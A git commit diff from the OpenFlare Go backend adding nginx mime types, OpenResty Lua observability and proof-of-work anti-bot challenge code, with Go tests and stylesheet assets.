refactor(backend): rename OpenFlare directory to lowercase openflare

This commit is contained in:
ryan
2026-08-30 17:43:23 +08:00
parent 06d5fedbfc
commit c93ff6674f
543 changed files with 819 additions and 819 deletions
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,102 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
// DefaultMimeTypes is the embedded nginx mime.types map used by generated configs.
const DefaultMimeTypes = `
types {
text/html html htm shtml;
text/css css;
text/xml xml;
image/gif gif;
image/jpeg jpeg jpg;
application/javascript js;
application/atom+xml atom;
application/rss+xml rss;
text/mathml mml;
text/plain txt;
text/vnd.sun.j2me.app-descriptor jad;
text/vnd.wap.wml wml;
text/x-component htc;
image/png png;
image/svg+xml svg svgz;
image/tiff tif tiff;
image/vnd.wap.wbmp wbmp;
image/webp webp;
image/x-icon ico;
image/x-jng jng;
image/x-ms-bmp bmp;
application/font-woff woff;
application/java-archive jar war ear;
application/json json;
application/mac-binhex40 hqx;
application/msword doc;
application/pdf pdf;
application/postscript ps eps ai;
application/rtf rtf;
application/vnd.apple.mpegurl m3u8;
application/vnd.google-earth.kml+xml kml;
application/vnd.google-earth.kmz kmz;
application/vnd.ms-excel xls;
application/vnd.ms-fontobject eot;
application/vnd.ms-powerpoint ppt;
application/vnd.oasis.opendocument.graphics odg;
application/vnd.oasis.opendocument.presentation odp;
application/vnd.oasis.opendocument.spreadsheet ods;
application/vnd.oasis.opendocument.text odt;
application/vnd.openxmlformats-officedocument.presentationml.presentation
pptx;
application/vnd.openxmlformats-officedocument.spreadsheetml.sheet
xlsx;
application/vnd.openxmlformats-officedocument.wordprocessingml.document
docx;
application/vnd.wap.wmlc wmlc;
application/x-7z-compressed 7z;
application/x-cocoa cco;
application/x-java-archive-diff jardiff;
application/x-java-jnlp-file jnlp;
application/x-makeself run;
application/x-perl pl pm;
application/x-pilot prc pdb;
application/x-rar-compressed rar;
application/x-redhat-package-manager rpm;
application/x-sea sea;
application/x-shockwave-flash swf;
application/x-stuffit sit;
application/x-tcl tcl tk;
application/x-x509-ca-cert der pem crt;
application/x-xpinstall xpi;
application/xhtml+xml xhtml;
application/xspf+xml xspf;
application/zip zip;
application/octet-stream bin exe dll;
application/octet-stream deb;
application/octet-stream dmg;
application/octet-stream iso img;
application/octet-stream msi msp msm;
audio/midi mid midi kar;
audio/mpeg mp3;
audio/ogg ogg;
audio/x-m4a m4a;
audio/x-realaudio ra;
video/3gpp 3gpp 3gp;
video/mp2t ts;
video/mp4 mp4;
video/mpeg mpeg mpg;
video/quicktime mov;
video/webm webm;
video/x-flv flv;
video/x-m4v m4v;
video/x-mng mng;
video/x-ms-asf asx asf;
video/x-ms-wmv wmv;
video/x-msvideo avi;
}
`
@@ -0,0 +1,67 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import "Wavelet/openflare/plugins/agent/protocol"
// Local OpenResty observability endpoint (target model):
// GET /openflare/observability returns instantaneous health/connections only.
// Business traffic is collected exclusively from access.log.
const openRestyObservabilityInitLua = `return
`
// log.lua no longer accumulates business counters (access.log is the authority).
const openRestyObservabilityLogLua = `return
`
// read.lua exposes stub_status-style connection gauges as JSON.
const openRestyObservabilityReadLua = `local cjson = require "cjson.safe"
local function read_stub_status()
local res = ngx.location.capture("/openflare/stub_status")
if not res or res.status ~= 200 or not res.body then
return nil
end
local body = res.body
local active = tonumber(string.match(body, "Active connections:%s*(%d+)")) or 0
local reading = tonumber(string.match(body, "Reading:%s*(%d+)")) or 0
local writing = tonumber(string.match(body, "Writing:%s*(%d+)")) or 0
local waiting = tonumber(string.match(body, "Waiting:%s*(%d+)")) or 0
return {
active = active,
reading = reading,
writing = writing,
waiting = waiting
}
end
local connections = read_stub_status()
local payload = {
ok = connections ~= nil,
captured_at_unix = ngx.time(),
connections = connections or {
active = 0,
reading = 0,
writing = 0,
waiting = 0
}
}
ngx.header.content_type = "application/json"
ngx.status = ngx.HTTP_OK
ngx.say(cjson.encode(payload))
`
// ManagedObservabilityLuaFiles returns embedded Lua assets for OpenResty observability.
func ManagedObservabilityLuaFiles() []protocol.SupportFile {
return []protocol.SupportFile{
{Path: "init.lua", Content: openRestyObservabilityInitLua},
{Path: "log.lua", Content: openRestyObservabilityLogLua},
{Path: "read.lua", Content: openRestyObservabilityReadLua},
{Path: "observability/init.lua", Content: openRestyObservabilityInitLua},
{Path: "observability/log.lua", Content: openRestyObservabilityLogLua},
{Path: "observability/read.lua", Content: openRestyObservabilityReadLua},
}
}
@@ -0,0 +1,38 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import (
"strings"
"testing"
)
func TestManagedObservabilityLuaIsHealthOnly(t *testing.T) {
t.Parallel()
files := ManagedObservabilityLuaFiles()
var logLua, readLua string
for _, file := range files {
switch file.Path {
case "log.lua":
logLua = file.Content
case "read.lua":
readLua = file.Content
}
}
if logLua == "" || readLua == "" {
t.Fatal("expected log.lua and read.lua")
}
// Business counters must not be written in log phase.
if strings.Contains(logLua, "openresty_rx_bytes") ||
strings.Contains(logLua, "request_count") {
t.Fatal("log.lua must not accumulate business counters")
}
if !strings.Contains(readLua, "connections") || !strings.Contains(readLua, "ok") {
t.Fatal("read.lua must expose ok + connections health snapshot")
}
if strings.Contains(readLua, "top_domains") || strings.Contains(readLua, "request_count") {
t.Fatal("read.lua must not expose business traffic aggregates")
}
}
@@ -0,0 +1,694 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import (
"embed"
"path/filepath"
"strings"
"Wavelet/openflare/plugins/agent/protocol"
)
//go:embed pow_static
var powStaticFS embed.FS
const openRestyPowRuntimeLua = `local _M = {}
local source = debug.getinfo(1, "S").source or ""
if string.sub(source, 1, 1) == "@" then
local script_path = string.sub(source, 2)
local base_dir = string.match(script_path, "^(.*)/pow/[^/]+%.lua$")
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
end
end
local policy = require "pow.policy"
local pow_sessions = ngx.shared.openflare_pow_sessions
local pow_config_dict = ngx.shared.openflare_pow_config
local cjson = require "cjson.safe"
local function session_cookie(value, ttl)
local cookie = "__openflare_pow=" .. value .. "; Path=/; HttpOnly; SameSite=Lax; Max-Age=" .. tostring(ttl)
if ngx.var.scheme == "https" then cookie = cookie .. "; Secure" end
return cookie
end
-- evaluate is called by a DAG pow node. true continues along its next edge;
-- false means the challenge flow has taken ownership of the request.
function _M.evaluate(config)
config = config or {}
ngx.ctx.openflare_pow_config = config
local host = ngx.var.host
if not host or host == "" then return true end
local session_ttl = config.session_ttl or 600
local uri = ngx.var.uri or ""
local ua = ngx.var.http_user_agent or ""
local remote_ip = ngx.var.remote_addr or ""
if policy.match_any(remote_ip, ua, uri, config.whitelist or {}) then return true end
local blacklist = config.blacklist or {}
if policy.has_entries(blacklist) and not policy.match_any(remote_ip, ua, uri, blacklist) then return true end
local cookie_val = ngx.var["cookie___openflare_pow"]
if cookie_val and cookie_val ~= "" then
local session_key = host .. ":" .. cookie_val
if pow_sessions:get(session_key) then
pow_sessions:set(session_key, "1", session_ttl)
ngx.header["Set-Cookie"] = session_cookie(cookie_val, session_ttl)
return true
end
end
local api_prefix = "/.within.website/x/cmd/anubis/api/"
local static_prefix = "/.within.website/x/cmd/anubis/static/"
if string.sub(uri, 1, #api_prefix) == api_prefix or string.sub(uri, 1, #static_prefix) == static_prefix then
return false
end
local config_key = "_request_config:" .. (ngx.var.request_id or ngx.md5(host .. uri .. tostring(ngx.now())))
pow_config_dict:set(config_key, cjson.encode(config), config.challenge_ttl or 300)
local challenge_args = {
redir = ngx.var.scheme .. "://" .. host .. uri .. (ngx.var.args and ("?" .. ngx.var.args) or ""),
host = host,
openflare_pow_config_key = config_key,
}
ngx.req.set_uri_args(challenge_args)
ngx.exec("/.within.website/x/cmd/anubis/api/make-challenge", challenge_args)
return false
end
-- Compatibility entrypoint for old rendered routes. PoW selection now belongs
-- exclusively to WAF graph nodes, so this function intentionally does nothing.
function _M.check()
return true
end
return _M
`
/* Removed legacy request-time configuration scanner. Graph execution now calls
evaluate(config) with the reached node.
local source = debug.getinfo(1, "S").source or ""
if string.sub(source, 1, 1) == "@" then
local script_path = string.sub(source, 2)
local base_dir = string.match(script_path, "^(.*)/pow/[^/]+%.lua$")
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
end
end
local cjson = require "cjson.safe"
local policy = require "pow.policy"
local pow_config_dict = ngx.shared.openflare_pow_config
local pow_sessions = ngx.shared.openflare_pow_sessions
local function session_cookie(value, ttl)
local cookie = "__openflare_pow=" .. value .. "; Path=/; HttpOnly; SameSite=Lax; Max-Age=" .. tostring(ttl)
if ngx.var.scheme == "https" then
cookie = cookie .. "; Secure"
end
return cookie
end
-- Lazy-load pow_config from file; reload when content changes
local function load_pow_config()
local config_paths = {
"__OPENFLARE_RUNTIME_CONFIG_DIR__/waf_config.json",
"/etc/nginx/openflare-lua/waf_config.json",
"/usr/local/openresty/nginx/conf/waf_config.json"
}
for _, config_path in ipairs(config_paths) do
local f = io.open(config_path, "r")
if f then
local content = f:read("*a")
f:close()
local current_hash = ngx.md5(content or "")
if current_hash == pow_config_dict:get("_config_hash") then
return
end
-- Clear old domain/site entries
local old_keys = pow_config_dict:get("_domain_keys")
if old_keys then
for domain in string.gmatch(old_keys, "[^\n]+") do
pow_config_dict:delete(domain)
end
end
local domain_keys = {}
if content and content ~= "" and content ~= "{}" then
local ok, decoded = pcall(cjson.decode, content)
if ok and decoded and decoded.rule_groups and decoded.site_rule_groups then
-- Build rule groups map (group ID -> PoWConfig)
local groups = {}
for _, group in ipairs(decoded.rule_groups) do
if group.pow_enabled then
groups[tostring(group.id)] = group.pow_config or {}
end
end
-- Build site name to pow_config map
for site, group_ids in pairs(decoded.site_rule_groups) do
local pow_config = nil
-- Check custom group IDs first
for _, id in ipairs(group_ids) do
pow_config = groups[tostring(id)]
if pow_config then
break
end
end
-- If not found, check global group IDs
if not pow_config then
for _, group in ipairs(decoded.rule_groups) do
if group.is_global and group.pow_enabled then
pow_config = group.pow_config or {}
break
end
end
end
if pow_config ~= nil then
pow_config_dict:set(site, cjson.encode({enabled = true, config = pow_config}), 0)
domain_keys[#domain_keys+1] = site
end
end
end
end
pow_config_dict:set("_domain_keys", table.concat(domain_keys, "\n"), 0)
pow_config_dict:set("_config_hash", current_hash, 0)
return true
end
end
if pow_config_dict:add("_pow_unreadable_config_logged", true, 60) then
ngx.log(ngx.WARN, "openflare pow config is not readable by worker; check directory permissions under ", "__OPENFLARE_RUNTIME_CONFIG_DIR__")
end
return false
end
load_pow_config()
local host = ngx.var.host
if not host or host == "" then
return
end
local site = ngx.var.openflare_waf_site or ""
if site == "" then
return
end
local config_raw = pow_config_dict:get(site)
if not config_raw then
return
end
local ok, route_config = pcall(cjson.decode, config_raw)
if not ok or not route_config then
return
end
if not route_config.enabled then
return
end
local config = route_config.config or {}
local session_ttl = config.session_ttl or 600
local uri = ngx.var.uri or ""
local ua = ngx.var.http_user_agent or ""
local remote_ip = ngx.var.remote_addr or ""
-- Check whitelist: if matched, skip PoW
local whitelist = config.whitelist or {}
if policy.match_any(remote_ip, ua, uri, whitelist) then
return
end
-- Check blacklist: if matched, require PoW
local blacklist = config.blacklist or {}
local has_blacklist = policy.has_entries(blacklist)
local need_pow = false
if has_blacklist then
need_pow = policy.match_any(remote_ip, ua, uri, blacklist)
else
-- No blacklist means all non-whitelisted need PoW
need_pow = true
end
if not need_pow then
return
end
-- Check valid session cookie
local cookie_val = ngx.var["cookie___openflare_pow"]
if cookie_val and cookie_val ~= "" then
local session_key = host .. ":" .. cookie_val
local session_data = pow_sessions:get(session_key)
if session_data then
pow_sessions:set(session_key, "1", session_ttl)
ngx.header["Set-Cookie"] = session_cookie(cookie_val, session_ttl)
return
end
end
-- If requesting the challenge API endpoints, let them through (handled by content_by_lua)
local anubis_api_prefix = "/.within.website/x/cmd/anubis/api/"
local anubis_static_prefix = "/.within.website/x/cmd/anubis/static/"
if string.sub(uri, 1, #anubis_api_prefix) == anubis_api_prefix then
return
end
if string.sub(uri, 1, #anubis_static_prefix) == anubis_static_prefix then
return
end
-- Render the challenge page through an internal redirect so the browser stays
-- on the originally requested URL instead of seeing a 302 hop.
ngx.req.set_uri_args({
redir = ngx.var.scheme .. "://" .. host .. uri .. (ngx.var.args and ("?" .. ngx.var.args) or ""),
host = host
})
return ngx.exec("/.within.website/x/cmd/anubis/api/make-challenge")
end
return _M
*/
const openRestyPowCheckLua = `local source = debug.getinfo(1, "S").source or ""
if string.sub(source, 1, 1) == "@" then
local script_path = string.sub(source, 2)
local base_dir = string.match(script_path, "^(.*)/pow/[^/]+%.lua$")
if base_dir and base_dir ~= "" and not string.find(package.path, base_dir, 1, true) then
package.path = base_dir .. "/?.lua;" .. base_dir .. "/?/init.lua;" .. package.path
end
end
return require("pow.runtime").check()
`
const openRestyPowChallengeLua = `local cjson = require "cjson.safe"
local pow_challenges = ngx.shared.openflare_pow_challenges
local pow_config_dict = ngx.shared.openflare_pow_config
local function generate_entropy()
local pieces = {
tostring(ngx.now()),
tostring(ngx.worker.pid()),
tostring(math.random()),
ngx.var.remote_addr or "",
ngx.var.http_user_agent or "",
ngx.var.request_id or "",
}
return table.concat(pieces, ":")
end
local args = ngx.req.get_uri_args()
local host = args["host"] or ngx.var.host or ""
local redir = args["redir"] or ""
local config = ngx.ctx.openflare_pow_config
local config_key = args["openflare_pow_config_key"] or ""
if type(config) ~= "table" and config_key ~= "" then
local config_raw = pow_config_dict:get(config_key)
if config_raw then
config = cjson.decode(config_raw)
end
end
if config_key ~= "" then pow_config_dict:delete(config_key) end
if type(config) ~= "table" then
ngx.status = 403
ngx.say("PoW graph node was not evaluated for this request")
return
end
local difficulty = config.difficulty or 4
local algorithm = config.algorithm or "fast"
local challenge_ttl = config.challenge_ttl or 300
local session_ttl = config.session_ttl or 600
-- Generate challenge data without depending on ngx.random_bytes, which is not
-- available in every OpenResty runtime build.
local entropy = generate_entropy()
local challenge_id = ngx.md5(entropy .. ":id")
local challenge_data = ngx.md5(entropy .. ":data-a") .. ngx.md5(entropy .. ":data-b")
-- Store challenge
local challenge_info = cjson.encode({
data = challenge_data,
difficulty = difficulty,
host = host,
redir = redir,
session_ttl = session_ttl
})
pow_challenges:set(challenge_id, challenge_info, challenge_ttl)
local static_prefix = "/.within.website/x/cmd/anubis/static/"
local accept_lang = ngx.var.http_accept_language or ""
local lang = "en"
if string.find(accept_lang, "zh") then
lang = "zh-CN"
end
local t_title = "Making sure you're not a bot!"
local t_status = "Loading..."
local t_protected = "This site is protected by a Proof-of-Work challenge. Your browser will solve a small puzzle before the upstream response is shown."
local t_why = "Why am I seeing this?"
local t_why_desc = "OpenFlare is asking your browser to complete a lightweight computation to distinguish normal browser traffic from automated abuse. This should finish automatically."
local t_noscript = "JavaScript is required to pass this verification. Please enable JavaScript and reload."
if lang == "zh-CN" then
t_title = "正在确认你是不是机器人!"
t_status = "加载中..."
t_protected = "本网站受工作量证明(Proof-of-Work)挑战保护。在显示源站响应之前,您的浏览器将解决一个微型谜题。"
t_why = "为什么我会看到这个?"
t_why_desc = "OpenFlare 正在要求您的浏览器完成一项轻量级计算,以区分正常的浏览器流量和自动化的恶意请求。这应该会自动完成。"
t_noscript = "很遗憾,您必须启用 JavaScript 才能通过这项验证。请开启 JavaScript 并刷新页面。"
end
ngx.header.content_type = "text/html; charset=utf-8"
ngx.say([[<!DOCTYPE html>
<html lang="]] .. lang .. [[">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta name="robots" content="noindex,nofollow">
<title>]] .. t_title .. [[</title>
<link rel="stylesheet" href="]] .. static_prefix .. [[css/xess.css">
<style>
body,html{height:100%;display:flex;justify-content:center;align-items:center;margin-left:auto;margin-right:auto}
.centered-div{text-align:center}
#status{font-variant-numeric:tabular-nums}
#progress{display:none;width:min(20rem,90%);height:2rem;border-radius:1rem;overflow:hidden;margin:1rem 0 2rem;outline-offset:2px;outline:#b16286 solid 4px}
.bar-inner{background-color:#b16286;height:100%;width:0;transition:width .25s ease-in}
</style>
<script id="anubis_version" type="application/json">"openflare-pow"</script>
<script id="anubis_challenge" type="application/json">]] .. cjson.encode({
challenge = {
id = challenge_id,
randomData = challenge_data,
method = algorithm
},
rules = {
difficulty = difficulty,
algorithm = algorithm
}
}) .. [[</script>
<script id="anubis_base_prefix" type="application/json">""</script>
<script id="anubis_public_url" type="application/json">"__openflare_internal__"</script>
</head>
<body id="top">
<main>
<h1 id="title" class="centered-div">]] .. t_title .. [[</h1>
<div class="centered-div">
<img id="image" style="width:100%;max-width:256px;" src="]] .. static_prefix .. [[img/pensive.webp?cacheBuster=openflare-pow">
<p id="status">]] .. t_status .. [[</p>
<p>]] .. t_protected .. [[</p>
<div id="progress" role="progressbar" aria-labelledby="status"><div class="bar-inner"></div></div>
<details>
<summary>]] .. t_why .. [[</summary>
<p>]] .. t_why_desc .. [[</p>
</details>
<noscript><p>]] .. t_noscript .. [[</p></noscript>
</div>
</main>
<script type="module" src="]] .. static_prefix .. [[js/main.mjs"></script>
</body>
</html>]])
`
const openRestyPowVerifyLua = `local cjson = require "cjson.safe"
local pow_challenges = ngx.shared.openflare_pow_challenges
local pow_sessions = ngx.shared.openflare_pow_sessions
local site = ngx.var.openflare_waf_site or ""
if site == "" then
ngx.status = 403
ngx.header.content_type = "application/json"
ngx.say(cjson.encode({error = "PoW site not resolved; openflare_waf_site is required"}))
return
end
local args = ngx.req.get_uri_args()
local challenge_id = args["id"] or ""
local response = args["response"] or ""
local nonce_str = args["nonce"] or ""
local redir = args["redir"] or ""
local elapsed = args["elapsedTime"] or ""
if challenge_id == "" or response == "" or nonce_str == "" then
ngx.status = 400
ngx.header.content_type = "application/json"
ngx.say(cjson.encode({error = "missing parameters"}))
return
end
local nonce = tonumber(nonce_str)
if not nonce then
ngx.status = 400
ngx.header.content_type = "application/json"
ngx.say(cjson.encode({error = "invalid nonce"}))
return
end
-- Get stored challenge
local challenge_raw = pow_challenges:get(challenge_id)
if not challenge_raw then
ngx.status = 410
ngx.header.content_type = "application/json"
ngx.say(cjson.encode({error = "challenge expired or not found"}))
return
end
local ok, challenge_info = pcall(cjson.decode, challenge_raw)
if not ok or not challenge_info then
ngx.status = 500
ngx.header.content_type = "application/json"
ngx.say(cjson.encode({error = "invalid challenge data"}))
return
end
local challenge_data = challenge_info.data or ""
local difficulty = challenge_info.difficulty or 4
local host = challenge_info.host or ngx.var.host or ""
local session_ttl = challenge_info.session_ttl or 600
-- Compute SHA-256(challenge_data + nonce)
local calc_string = challenge_data .. tostring(math.floor(nonce))
local calculated = ngx.sha1_bin ~= nil and "" or ""
-- Use resty.sha256 for proper SHA-256
local sha256 = require "resty.sha256"
local str = require "resty.string"
local hasher = sha256:new()
hasher:update(calc_string)
local hash_bytes = hasher:final()
local hash_hex = str.to_hex(hash_bytes)
-- Verify hash matches response
if hash_hex ~= string.lower(response) then
ngx.status = 403
ngx.header.content_type = "application/json"
ngx.say(cjson.encode({error = "hash mismatch"}))
return
end
-- Verify difficulty (leading zeros in hex)
local prefix = string.rep("0", difficulty)
if string.sub(hash_hex, 1, difficulty) ~= prefix then
ngx.status = 403
ngx.header.content_type = "application/json"
ngx.say(cjson.encode({error = "insufficient difficulty"}))
return
end
-- Invalidate challenge (prevent replay)
pow_challenges:delete(challenge_id)
-- Generate session token
local session_token = str.to_hex(ngx.sha1_bin(challenge_id .. ngx.now() .. tostring(ngx.worker.pid())))
-- Store session
pow_sessions:set(host .. ":" .. session_token, "1", session_ttl)
-- Set cookie. Secure cookies are not sent over HTTP, so only add Secure when
-- the current request itself is HTTPS.
local cookie = "__openflare_pow=" .. session_token .. "; Path=/; HttpOnly; SameSite=Lax; Max-Age=" .. tostring(session_ttl)
if ngx.var.scheme == "https" then
cookie = cookie .. "; Secure"
end
ngx.header["Set-Cookie"] = cookie
if redir ~= "" then
return ngx.redirect(redir)
end
ngx.header.content_type = "application/json"
ngx.say(cjson.encode({ok = true}))
`
const openRestyPowPolicyLua = `local M = {}
local function match_ip(remote_ip, ips)
if not ips or #ips == 0 then return false end
for _, ip in ipairs(ips) do
if ip == remote_ip then
return true
end
end
return false
end
local function match_cidr(remote_ip, cidrs)
if not cidrs or #cidrs == 0 then return false end
for _, cidr in ipairs(cidrs) do
local m, err = ngx.re.match(cidr, "^(\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3}\\\\.\\\\d{1,3})/(\\\\d{1,2})$")
if m then
local mask_bits = tonumber(m[2])
if mask_bits and mask_bits >= 0 and mask_bits <= 32 then
local function ip_to_num(ip_str)
local parts = {}
for part in string.gmatch(ip_str, "%d+") do
parts[#parts+1] = tonumber(part) or 0
end
if #parts ~= 4 then return 0 end
return parts[1]*16777216 + parts[2]*65536 + parts[3]*256 + parts[4]
end
local remote_num = ip_to_num(remote_ip)
local net_num = ip_to_num(m[1])
if mask_bits == 0 then
return true
end
local mask = math.floor(2^(32 - mask_bits))
mask = 4294967296 - mask
if bit.band(remote_num, mask) == bit.band(net_num, mask) then
return true
end
end
end
end
return false
end
local function match_path(uri, patterns)
if not patterns or #patterns == 0 then return false end
for _, pattern in ipairs(patterns) do
local ok, match = pcall(ngx.re.match, uri, "^" .. ngx.re.gsub(pattern, "([%^%$%(%)%%%.%[%]%+%-%?])", function(c)
if c == "*" then return ".*" end
return "%" .. c
end) .. "$", "i")
if ok and match then
return true
end
end
return false
end
local function match_path_regex(uri, patterns)
if not patterns or #patterns == 0 then return false end
for _, pattern in ipairs(patterns) do
local ok, match = pcall(ngx.re.match, uri, pattern)
if ok and match then
return true
end
end
return false
end
local function match_ua(ua, patterns)
if not patterns or #patterns == 0 then return false end
for _, pattern in ipairs(patterns) do
if ua and string.find(ua, pattern, 1, true) then
return true
end
end
return false
end
function M.match_any(remote_ip, ua, uri, list)
if not list then return false end
if match_ip(remote_ip, list.ips) then return true end
if match_cidr(remote_ip, list.ip_cidrs) then return true end
if match_path(uri, list.paths) then return true end
if match_path_regex(uri, list.path_regexes) then return true end
if match_ua(ua, list.user_agents) then return true end
return false
end
function M.has_entries(list)
if not list then return false end
return (#(list.ips or {}) + #(list.ip_cidrs or {}) + #(list.paths or {}) + #(list.path_regexes or {}) + #(list.user_agents or {})) > 0
end
return M
`
// ManagedPowLuaFiles returns embedded Lua assets for proof-of-work challenges.
func ManagedPowLuaFiles() []protocol.SupportFile {
return []protocol.SupportFile{
{Path: "pow/runtime.lua", Content: openRestyPowRuntimeLua},
{Path: "pow/check.lua", Content: openRestyPowCheckLua},
{Path: "pow/challenge.lua", Content: openRestyPowChallengeLua},
{Path: "pow/verify.lua", Content: openRestyPowVerifyLua},
{Path: "pow/policy.lua", Content: openRestyPowPolicyLua},
}
}
// ManagedPowStaticFiles returns embedded static assets served by the PoW module.
func ManagedPowStaticFiles() ([]protocol.SupportFile, error) {
var files []protocol.SupportFile
entries, err := powStaticFS.ReadDir("pow_static")
if err != nil {
return nil, err
}
var walk func(dir string) error
walk = func(dir string) error {
entries, err := powStaticFS.ReadDir(dir)
if err != nil {
return err
}
for _, entry := range entries {
fullPath := filepath.Join(dir, entry.Name())
if entry.IsDir() {
if err := walk(fullPath); err != nil {
return err
}
continue
}
data, err := powStaticFS.ReadFile(fullPath)
if err != nil {
return err
}
// Convert pow_static/css/xess.css -> pow/static/css/xess.css
relPath := strings.TrimPrefix(fullPath, "pow_static/")
files = append(files, protocol.SupportFile{
Path: "pow/static/" + relPath,
Content: string(data),
})
}
return nil
}
for _, entry := range entries {
fullPath := filepath.Join("pow_static", entry.Name())
if entry.IsDir() {
if err := walk(fullPath); err != nil {
return nil, err
}
} else {
data, err := powStaticFS.ReadFile(fullPath)
if err != nil {
return nil, err
}
relPath := strings.TrimPrefix(fullPath, "pow_static/")
files = append(files, protocol.SupportFile{
Path: "pow/static/" + relPath,
Content: string(data),
})
}
}
return files, nil
}
@@ -0,0 +1,94 @@
// Copyright 2026 Arctel.net
// SPDX-License-Identifier: Apache-2.0
package nginx
import (
"testing"
lua "github.com/yuin/gopher-lua"
)
func TestPowRuntimePassesConfigKeyToInternalChallenge(t *testing.T) {
state := lua.NewState()
defer state.Close()
if err := state.DoString(`
package.preload["pow.policy"] = function()
return {
match_any = function() return false end,
has_entries = function() return false end,
}
end
package.preload["cjson.safe"] = function()
return { encode = function() return "{}" end }
end
local config_values = {}
local config_dict = {}
function config_dict:set(key, value) config_values[key] = value return true end
function config_dict:get(key) return config_values[key] end
local sessions = {}
function sessions:get() return nil end
function sessions:set() return true end
ngx = {
var = {
host = "pow.example.com",
uri = "/protected",
scheme = "https",
remote_addr = "192.0.2.1",
http_user_agent = "test",
request_id = "request-1",
},
ctx = {},
header = {},
shared = {
openflare_pow_sessions = sessions,
openflare_pow_config = config_dict,
},
req = {},
now = function() return 1 end,
}
function ngx.req.set_uri_args(args) captured_uri_args = args end
function ngx.exec(uri, args)
captured_exec_uri = uri
captured_exec_args = args
end
`); err != nil {
t.Fatalf("prepare Lua runtime: %v", err)
}
chunk, err := state.LoadString(openRestyPowRuntimeLua)
if err != nil {
t.Fatalf("load PoW runtime: %v", err)
}
if err := state.CallByParam(lua.P{Fn: chunk, NRet: 1, Protect: true}); err != nil {
t.Fatalf("initialize PoW runtime: %v", err)
}
runtimeModule := state.Get(-1)
state.Pop(1)
evaluate := state.GetField(runtimeModule, "evaluate")
config := state.NewTable()
config.RawSetString("challenge_ttl", lua.LNumber(300))
if err := state.CallByParam(lua.P{Fn: evaluate, NRet: 1, Protect: true}, config); err != nil {
t.Fatalf("evaluate PoW node: %v", err)
}
state.Pop(1)
if got := state.GetGlobal("captured_exec_uri").String(); got != "/.within.website/x/cmd/anubis/api/make-challenge" {
t.Fatalf("unexpected internal challenge URI: %q", got)
}
execArgs, ok := state.GetGlobal("captured_exec_args").(*lua.LTable)
if !ok {
t.Fatal("expected ngx.exec to receive explicit challenge arguments")
}
if got := execArgs.RawGetString("openflare_pow_config_key").String(); got != "_request_config:request-1" {
t.Fatalf("unexpected PoW config key: %q", got)
}
if state.GetGlobal("captured_uri_args") != execArgs {
t.Fatal("expected URI arguments and internal redirect arguments to use the same table")
}
}
@@ -0,0 +1,7 @@
@font-face {
font-family: "Podkova";
font-style: normal;
font-weight: 400 800;
font-display: swap;
src: url("podkova.woff2") format("woff2");
}
@@ -0,0 +1,149 @@
:root {
--body-sans-font: Geist, sans-serif;
--body-preformatted-font: Iosevka Curly Iaso, monospace;
--body-title-font: Podkova, serif;
--background: #1d2021;
--text: #f9f5d7;
--text-selection: #d3869b;
--preformatted-background: #3c3836;
--link-foreground: #b16286;
--link-background: #282828;
--blockquote-border-left: 1px solid #bdae93;
--progress-bar-outline: #b16286 solid 4px;
--progress-bar-fill: #b16286;
}
@media (prefers-color-scheme: light) {
:root {
--background: #f9f5d7;
--text: #1d2021;
--text-selection: #d3869b;
--preformatted-background: #ebdbb2;
--link-foreground: #b16286;
--link-background: #fbf1c7;
--blockquote-border-left: 1px solid #655c54;
}
}
@font-face {
font-family: "Geist";
font-style: normal;
font-weight: 100 900;
font-display: swap;
src: url("./static/geist.woff2") format("woff2");
}
@font-face {
font-family: "Podkova";
font-style: normal;
font-weight: 400 800;
font-display: swap;
src: url("./static/podkova.woff2") format("woff2");
}
@font-face {
font-family: "Iosevka Curly";
font-style: monospace;
font-display: swap;
src: url("./static/iosevka-curly.woff2") format("woff2");
}
main {
font-family: var(--body-sans-font);
max-width: 50rem;
padding: 2rem;
margin: auto;
}
::selection {
background: var(--text-selection);
}
body {
background: var(--background);
color: var(--text);
}
body,
html {
height: 100%;
display: flex;
justify-content: center;
align-items: center;
margin-left: auto;
margin-right: auto;
}
.centered-div {
text-align: center;
}
#status {
font-variant-numeric: tabular-nums;
}
.centered-div {
text-align: center;
}
#status {
font-variant-numeric: tabular-nums;
}
#progress {
display: none;
width: min(20rem, 90%);
height: 2rem;
border-radius: 1rem;
overflow: hidden;
margin: 1rem 0 2rem;
outline-offset: 2px;
outline: var(--progress-bar-outline);
}
.bar-inner {
background-color: var(--progress-bar-fill);
height: 100%;
width: 0;
transition: width 0.25s ease-in;
}
@media (prefers-reduced-motion: no-preference) {
.bar-inner {
transition: width 0.25s ease-in;
}
}
pre {
background-color: var(--preformatted-background);
padding: 1em;
border: 0;
font-family: var(--body-preformatted-font);
}
a,
a:active,
a:visited {
color: var(--link-foreground);
background-color: var(--link-background);
}
h1,
h2,
h3,
h4,
h5 {
margin-bottom: 0.1rem;
font-family: var(--body-title-font);
}
blockquote {
border-left: var(--blockquote-border-left);
margin: 0.5em 10px;
padding: 0.5em 10px;
}
footer {
text-align: center;
}
Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 28 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 26 KiB

@@ -0,0 +1,32 @@
/*
@licstart The following is the entire license notice for the
JavaScript code in this page.
Copyright (c) 2025 Xe Iaso <xe.iaso@techaro.lol>
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
